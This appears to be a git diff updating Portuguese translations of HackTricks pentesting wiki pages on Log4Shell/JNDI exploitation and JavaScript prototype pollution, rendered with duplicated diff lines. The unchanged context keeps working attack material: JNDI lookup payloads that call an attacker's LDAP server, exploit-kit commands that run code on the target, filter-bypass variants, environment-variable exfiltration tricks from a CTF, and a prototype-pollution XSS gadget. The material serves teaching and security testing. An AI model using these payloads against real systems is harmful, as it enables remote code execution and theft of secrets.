Essa vulnerabilidade afeta o **framework de log Logback**, sucessor do Log4j 1.x. Anteriormente considerado seguro, o framework foi encontrado vulnerável, e novas versões (1.3.0-alpha11 e 1.2.9) foram lançadas para abordar o problema.
|
||||||
|
@ -128,7 +128,7 @@ Essa vulnerabilidade afeta o **framework de log Logback**, sucessor do Log4j 1.x
|
||||||
O Log4j 2.16.0 contém uma falha de DoS, levando ao lançamento do `log4j 2.17.0` para corrigir a CVE. Mais detalhes estão no [relatório](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) do BleepingComputer.
|
O Log4j 2.16.0 contém uma falha de DoS, levando ao lançamento do `log4j 2.17.0` para corrigir a CVE. Mais detalhes estão no [relatório](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) do BleepingComputer.
|
||||||
|
|
||||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||||
Afetando a versão 2.17 do log4j, esta CVE requer que o atacante controle o arquivo de configuração do log4j. Envolve potencial execução de código arbitrário via um JDBCAppender configurado. Mais detalhes estão disponíveis no [post do blog Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
Afetando a versão 2.17 do log4j, esta CVE requer que o atacante controle o arquivo de configuração do log4j. Envolve potencial execução de código arbitrário via um JDBCAppender configurado. Mais detalhes estão disponíveis no [post do blog da Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||||
|
|
||||||
|
|
||||||
## Exploração do Log4Shell
|
## Exploração do Log4Shell
|
||||||
|
@ -146,7 +146,7 @@ Essa vulnerabilidade é muito fácil de descobrir se não estiver protegida, poi
|
||||||
Observe que **mesmo que uma solicitação DNS seja recebida, isso não significa que o aplicativo seja explorável** (ou mesmo vulnerável), será necessário tentar explorá-lo.
|
Observe que **mesmo que uma solicitação DNS seja recebida, isso não significa que o aplicativo seja explorável** (ou mesmo vulnerável), será necessário tentar explorá-lo.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Lembre-se de que para **explorar a versão 2.15** você precisa adicionar o **bypass de verificação de localhost**: ${jndi:ldap://**127.0.0.1#**...}
|
Lembre-se de que para **explorar a versão 2.15** você precisa adicionar a **burla de verificação de localhost**: ${jndi:ldap://**127.0.0.1#**...}
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### **Descoberta Local**
|
#### **Descoberta Local**
|
||||||
|
@ -217,14 +217,14 @@ ${sys:user.name}
|
||||||
|
|
||||||
Any other env variable name that could store sensitive information
|
Any other env variable name that could store sensitive information
|
||||||
```
|
```
|
||||||
### Informações de RCE
|
### Informações RCE
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Os hosts que executam versões do JDK acima de 6u141, 7u131 ou 8u121 estão protegidos contra o vetor de ataque de carregamento de classe LDAP. Isso se deve à desativação padrão de `com.sun.jndi.ldap.object.trustURLCodebase`, que impede o JNDI de carregar uma base de código remota via LDAP. No entanto, é crucial observar que essas versões **não estão protegidas contra o vetor de ataque de desserialização**.
|
Os hosts que executam versões do JDK acima de 6u141, 7u131 ou 8u121 estão protegidos contra o vetor de ataque de carregamento de classe LDAP. Isso se deve à desativação padrão de `com.sun.jndi.ldap.object.trustURLCodebase`, que impede o JNDI de carregar um codebase remoto via LDAP. No entanto, é crucial observar que essas versões **não estão protegidas contra o vetor de ataque de desserialização**.
|
||||||
|
|
||||||
Para os atacantes que visam explorar essas versões mais recentes do JDK, é necessário aproveitar um **gadget confiável** dentro da aplicação Java. Ferramentas como ysoserial ou JNDIExploit são frequentemente usadas para esse fim. Por outro lado, explorar versões inferiores do JDK é relativamente mais fácil, pois essas versões podem ser manipuladas para carregar e executar classes arbitrárias.
|
Para os atacantes que visam explorar essas versões mais recentes do JDK, é necessário aproveitar um **gadget confiável** dentro da aplicação Java. Ferramentas como ysoserial ou JNDIExploit são frequentemente usadas para esse fim. Por outro lado, explorar versões inferiores do JDK é relativamente mais fácil, pois essas versões podem ser manipuladas para carregar e executar classes arbitrárias.
|
||||||
|
|
||||||
Para **mais informações** (_como limitações nos vetores RMI e CORBA_) **verifique a seção anterior de Referência de Nomenclatura JNDI** ou [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
Para **mais informações** (_como limitações nos vetores RMI e CORBA_) **verifique a seção de Referência de Nomenclatura JNDI anterior** ou [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### RCE - Marshalsec com payload personalizado
|
### RCE - Marshalsec com payload personalizado
|
||||||
|
@ -261,7 +261,7 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Note que por algum motivo o autor removeu este projeto do github após a descoberta do log4shell. Você pode encontrar uma versão em cache em [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) mas se você deseja respeitar a decisão do autor, utilize um método diferente para explorar essa vulnerabilidade.
|
Note que por algum motivo o autor removeu este projeto do github após a descoberta do log4shell. Você pode encontrar uma versão em cache em [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) mas se você deseja respeitar a decisão do autor, utilize um método diferente para explorar essa vulnerabilidade.
|
||||||
|
|
||||||
Além disso, você não conseguirá encontrar o código fonte no wayback machine, então analise o código fonte ou execute o arquivo jar sabendo que você não sabe o que está executando.
|
Além disso, você não pode encontrar o código fonte no wayback machine, então analise o código fonte ou execute o arquivo jar sabendo que você não sabe o que está executando.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Para este exemplo, você pode simplesmente executar este **servidor web vulnerável ao log4shell** na porta 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_no README você encontrará como executá-lo_). Este aplicativo vulnerável está registrando com uma versão vulnerável do log4shell o conteúdo do cabeçalho da solicitação HTTP _X-Api-Version_.
|
Para este exemplo, você pode simplesmente executar este **servidor web vulnerável ao log4shell** na porta 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_no README você encontrará como executá-lo_). Este aplicativo vulnerável está registrando com uma versão vulnerável do log4shell o conteúdo do cabeçalho da solicitação HTTP _X-Api-Version_.
|
||||||
|
@ -306,7 +306,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
||||||
# Execute command
|
# Execute command
|
||||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||||||
```
|
```
|
||||||
_Este ataque usando um objeto Java gerado personalizado funcionará em laboratórios como a sala solar do **THM**. No entanto, isso geralmente não funcionará (pois por padrão o Java não está configurado para carregar um codebase remoto usando LDAP) acredito que porque não está abusando de uma classe confiável para executar código arbitrário._
|
_Este ataque usando um objeto Java gerado personalizado funcionará em laboratórios como a sala solar do **THM**. No entanto, isso geralmente não funcionará (pois por padrão o Java não está configurado para carregar um código remoto usando LDAP) acredito que porque não está abusando de uma classe confiável para executar código arbitrário._
|
||||||
|
|
||||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||||
|
|
||||||
|
@ -346,7 +346,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||||||
* [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
|
* [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
|
||||||
* [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
|
* [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
|
||||||
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
|
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
|
||||||
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Encontre bibliotecas vulneráveis localmente
|
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Encontre bibliotecas locais vulneráveis
|
||||||
|
|
||||||
### Laboratórios para Testar
|
### Laboratórios para Testar
|
||||||
|
|
||||||
|
@ -376,18 +376,18 @@ Por exemplo, neste CTF isso foi configurado no arquivo log4j2.xml:
|
||||||
```
|
```
|
||||||
### Pesquisas de Ambiente
|
### Pesquisas de Ambiente
|
||||||
|
|
||||||
Neste [CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), o atacante controlava o valor de `${sys:cmd}` e precisava exfiltrar a flag de uma variável de ambiente.\
|
Neste [CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), o atacante controlava o valor de `${sys:cmd}` e precisava extrair a flag de uma variável de ambiente.\
|
||||||
Como visto nesta página em [**cargas úteis anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), existem diferentes maneiras de acessar variáveis de ambiente, como: **`${env:FLAG}`**. Neste CTF isso foi inútil, mas pode ser útil em outros cenários da vida real.
|
Como visto nesta página em [**cargas úteis anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), existem diferentes maneiras de acessar variáveis de ambiente, como: **`${env:FLAG}`**. Neste CTF isso foi inútil, mas pode ser útil em outros cenários da vida real.
|
||||||
|
|
||||||
### Exfiltração em Exceções
|
### Exfiltração em Exceções
|
||||||
|
|
||||||
No CTF, você **não conseguia acessar o stderr** da aplicação Java usando o log4J, mas as **exceções do Log4J são enviadas para stdout**, que foi impresso no aplicativo Python. Isso significava que ao acionar uma exceção, poderíamos acessar o conteúdo. Uma exceção para exfiltrar a flag foi: **`${java:${env:FLAG}}`.** Isso funciona porque **`${java:CTF{blahblah}}`** não existe e uma exceção com o valor da flag será mostrada:
|
No CTF, você **não podia acessar o stderr** da aplicação Java usando o log4J, mas as **exceções do Log4J são enviadas para stdout**, que foi impresso no aplicativo Python. Isso significava que ao disparar uma exceção poderíamos acessar o conteúdo. Uma exceção para exfiltrar a flag foi: **`${java:${env:FLAG}}`.** Isso funciona porque **`${java:CTF{blahblah}}`** não existe e uma exceção com o valor da flag será mostrada:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (157).png>)
|
![](<../../.gitbook/assets/image (157).png>)
|
||||||
|
|
||||||
### Padrões de Conversão em Exceções
|
### Padrões de Conversão em Exceções
|
||||||
|
|
||||||
Apenas para mencionar, você também poderia injetar novos [**padrões de conversão**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) e acionar exceções que serão registradas em `stdout`. Por exemplo:
|
Apenas para mencionar, você também poderia injetar novos [**padrões de conversão**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) e disparar exceções que serão registradas em `stdout`. Por exemplo:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
|
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
|
||||||
|
|
||||||
|
@ -400,7 +400,7 @@ No entanto, é possível usar alguns **padrões de conversão que suportam regex
|
||||||
* **Busca binária via mensagens de exceção**
|
* **Busca binária via mensagens de exceção**
|
||||||
|
|
||||||
O padrão de conversão **`%replace`** pode ser usado para **substituir** **conteúdo** de uma **string** mesmo usando **regexes**. Funciona assim: `replace{pattern}{regex}{substitution}`\
|
O padrão de conversão **`%replace`** pode ser usado para **substituir** **conteúdo** de uma **string** mesmo usando **regexes**. Funciona assim: `replace{pattern}{regex}{substitution}`\
|
||||||
Abusando desse comportamento, você poderia fazer a substituição **acionar uma exceção se o regex correspondesse** a qualquer coisa dentro da string (e nenhuma exceção se não fosse encontrada) assim:
|
Abusando desse comportamento, você poderia fazer a substituição **disparar uma exceção se o regex correspondesse** a algo dentro da string (e nenhuma exceção se não fosse encontrado) assim:
|
||||||
```bash
|
```bash
|
||||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||||
|
@ -461,7 +461,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,14 +2,14 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -45,7 +45,7 @@ employee1.__proto__
|
||||||
```
|
```
|
||||||
### Protótipos em JavaScript
|
### Protótipos em JavaScript
|
||||||
|
|
||||||
O JavaScript permite a modificação, adição ou exclusão de atributos de protótipo em tempo de execução. Essa flexibilidade possibilita a extensão dinâmica das funcionalidades da classe.
|
O JavaScript permite a modificação, adição ou exclusão de atributos de protótipo em tempo de execução. Essa flexibilidade possibilita a extensão dinâmica das funcionalidades de uma classe.
|
||||||
|
|
||||||
Funções como `toString` e `valueOf` podem ser alteradas para mudar seu comportamento, demonstrando a natureza adaptável do sistema de protótipos do JavaScript.
|
Funções como `toString` e `valueOf` podem ser alteradas para mudar seu comportamento, demonstrando a natureza adaptável do sistema de protótipos do JavaScript.
|
||||||
|
|
||||||
|
@ -88,7 +88,7 @@ console.log(car1.isVehicle); // Outputs true
|
||||||
```
|
```
|
||||||
## poluição de protótipo
|
## poluição de protótipo
|
||||||
|
|
||||||
Para um cenário onde o uso de `__proto__` é restrito, modificar o protótipo de uma função é uma alternativa:
|
Para um cenário em que o uso de `__proto__` é restrito, modificar o protótipo de uma função é uma alternativa:
|
||||||
```javascript
|
```javascript
|
||||||
function Vehicle(model) {
|
function Vehicle(model) {
|
||||||
this.model = model;
|
this.model = model;
|
||||||
|
@ -177,7 +177,7 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
||||||
|
|
||||||
### Exemplo Básico
|
### Exemplo Básico
|
||||||
|
|
||||||
Uma poluição de protótipo ocorre devido a uma falha na aplicação que permite a sobrescrita de propriedades em `Object.prototype`. Isso significa que, uma vez que a maioria dos objetos deriva suas propriedades de `Object.prototype`
|
Uma poluição de protótipo ocorre devido a uma falha na aplicação que permite a sobrescrita de propriedades em `Object.prototype`. Isso significa que, como a maioria dos objetos deriva suas propriedades de `Object.prototype`
|
||||||
|
|
||||||
O exemplo mais simples é adicionar um valor a um **atributo indefinido de um objeto** que será verificado, como:
|
O exemplo mais simples é adicionar um valor a um **atributo indefinido de um objeto** que será verificado, como:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -222,14 +222,14 @@ No jQuery, a função `$ .extend` pode levar à poluição de protótipo se o re
|
||||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
|
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
|
||||||
console.log({}.devMode); // Outputs: true
|
console.log({}.devMode); // Outputs: true
|
||||||
```
|
```
|
||||||
Essa vulnerabilidade, identificada como CVE-2019–11358, ilustra como uma cópia profunda pode modificar inadvertidamente o protótipo, levando a potenciais riscos de segurança, como acesso de administrador não autorizado se propriedades como `isAdmin` forem verificadas sem a devida verificação de existência.
|
Essa vulnerabilidade, identificada como CVE-2019–11358, ilustra como uma cópia profunda pode modificar inadvertidamente o protótipo, levando a potenciais riscos de segurança, como acesso administrativo não autorizado se propriedades como `isAdmin` forem verificadas sem a devida verificação de existência.
|
||||||
|
|
||||||
|
|
||||||
### CVE-2018–3721, CVE-2019–10744: Ataque de poluição de protótipo através do lodash
|
### CVE-2018–3721, CVE-2019–10744: Ataque de poluição de protótipo através do lodash
|
||||||
|
|
||||||
[Para mais detalhes, confira este artigo](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
[Para mais detalhes, confira este artigo](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||||
|
|
||||||
[Lodash](https://www.npmjs.com/package/lodash) encontrou vulnerabilidades semelhantes de poluição de protótipo (CVE-2018–3721, CVE-2019–10744). Esses problemas foram resolvidos na versão 4.17.11.
|
O [Lodash](https://www.npmjs.com/package/lodash) encontrou vulnerabilidades semelhantes de poluição de protótipo (CVE-2018–3721, CVE-2019–10744). Esses problemas foram resolvidos na versão 4.17.11.
|
||||||
|
|
||||||
### Outro tutorial com CVEs
|
### Outro tutorial com CVEs
|
||||||
|
|
||||||
|
@ -276,7 +276,7 @@ console.log(eval('(' + template + ')')['main'].toString());
|
||||||
```
|
```
|
||||||
Este código demonstra como um atacante poderia injetar código arbitrário em um modelo Handlebars.
|
Este código demonstra como um atacante poderia injetar código arbitrário em um modelo Handlebars.
|
||||||
|
|
||||||
**Referência Externa**: Um problema relacionado à poluição de protótipos foi encontrado na biblioteca 'flat', conforme detalhado aqui: [Problema no GitHub](https://github.com/hughsk/flat/issues/105).
|
**Referência Externa**: Um problema relacionado à poluição de protótipos foi encontrado na biblioteca 'flat', conforme detalhado aqui: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
|
||||||
|
|
||||||
**Referência Externa**: [Problema relacionado à poluição de protótipos na biblioteca 'flat'](https://github.com/hughsk/flat/issues/105)
|
**Referência Externa**: [Problema relacionado à poluição de protótipos na biblioteca 'flat'](https://github.com/hughsk/flat/issues/105)
|
||||||
|
|
||||||
|
@ -308,7 +308,7 @@ requests.get(TARGET_URL)
|
||||||
```
|
```
|
||||||
#### Vulnerabilidade do Pug
|
#### Vulnerabilidade do Pug
|
||||||
|
|
||||||
O Pug, mais um mecanismo de modelo, enfrenta um risco semelhante de poluição de protótipos. Informações detalhadas estão disponíveis na discussão sobre [Injeção de AST no Pug](https://blog.p6.is/AST-Injection/#Pug).
|
O Pug, outra engine de template, enfrenta um risco semelhante de poluição de protótipos. Informações detalhadas estão disponíveis na discussão sobre [Injeção de AST no Pug](https://blog.p6.is/AST-Injection/#Pug).
|
||||||
|
|
||||||
Exemplo de poluição de protótipos no Pug:
|
Exemplo de poluição de protótipos no Pug:
|
||||||
```python
|
```python
|
||||||
|
@ -335,7 +335,7 @@ Para reduzir o risco de poluição de protótipos, as estratégias listadas abai
|
||||||
2. **Validação de Entrada**: As entradas JSON devem ser rigorosamente validadas em relação ao esquema da aplicação.
|
2. **Validação de Entrada**: As entradas JSON devem ser rigorosamente validadas em relação ao esquema da aplicação.
|
||||||
3. **Funções de Mesclagem Seguras**: O uso inseguro de funções de mesclagem recursiva deve ser evitado.
|
3. **Funções de Mesclagem Seguras**: O uso inseguro de funções de mesclagem recursiva deve ser evitado.
|
||||||
4. **Objetos sem Protótipo**: Objetos sem propriedades de protótipo podem ser criados usando `Object.create(null)`.
|
4. **Objetos sem Protótipo**: Objetos sem propriedades de protótipo podem ser criados usando `Object.create(null)`.
|
||||||
5. **Uso de Mapa**: Em vez de `Object`, `Map` deve ser usado para armazenar pares chave-valor.
|
5. **Uso de Mapa**: Em vez de `Object`, deve-se usar `Map` para armazenar pares chave-valor.
|
||||||
6. **Atualizações de Biblioteca**: Patches de segurança podem ser incorporados atualizando regularmente as bibliotecas.
|
6. **Atualizações de Biblioteca**: Patches de segurança podem ser incorporados atualizando regularmente as bibliotecas.
|
||||||
7. **Ferramentas de Análise Estática e Linter**: Use ferramentas como ESLint com plugins apropriados para detectar e prevenir vulnerabilidades de poluição de protótipos.
|
7. **Ferramentas de Análise Estática e Linter**: Use ferramentas como ESLint com plugins apropriados para detectar e prevenir vulnerabilidades de poluição de protótipos.
|
||||||
8. **Revisões de Código**: Implemente revisões de código minuciosas para identificar e remediar riscos potenciais relacionados à poluição de protótipos.
|
8. **Revisões de Código**: Implemente revisões de código minuciosas para identificar e remediar riscos potenciais relacionados à poluição de protótipos.
|
||||||
|
@ -356,10 +356,10 @@ Para reduzir o risco de poluição de protótipos, as estratégias listadas abai
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,7 +9,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -30,9 +30,11 @@ console.trace();
|
||||||
return 'test';
|
return 'test';
|
||||||
}})
|
}})
|
||||||
```
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
### Encontrando a causa raiz da Poluição de Protótipos <a href="#5530" id="5530"></a>
|
### Encontrando a causa raiz da Poluição de Protótipos <a href="#5530" id="5530"></a>
|
||||||
|
|
||||||
Uma vez que uma vulnerabilidade de poluição de protótipos tenha sido identificada por qualquer uma das ferramentas, e se o código não for muito complexo, você pode encontrar a vulnerabilidade pesquisando por palavras-chave como `location.hash`, `decodeURIComponent`, ou `location.search` nas Ferramentas de Desenvolvedor do Chrome. Este método permite que você identifique a seção vulnerável do código JavaScript.
|
Uma vez que uma vulnerabilidade de poluição de protótipos tenha sido identificada por qualquer uma das ferramentas, e se o código não for muito complexo, você pode encontrar a vulnerabilidade pesquisando por palavras-chave como `location.hash`, `decodeURIComponent` ou `location.search` nas Ferramentas de Desenvolvedor do Chrome. Esta abordagem permite identificar a seção vulnerável do código JavaScript.
|
||||||
|
|
||||||
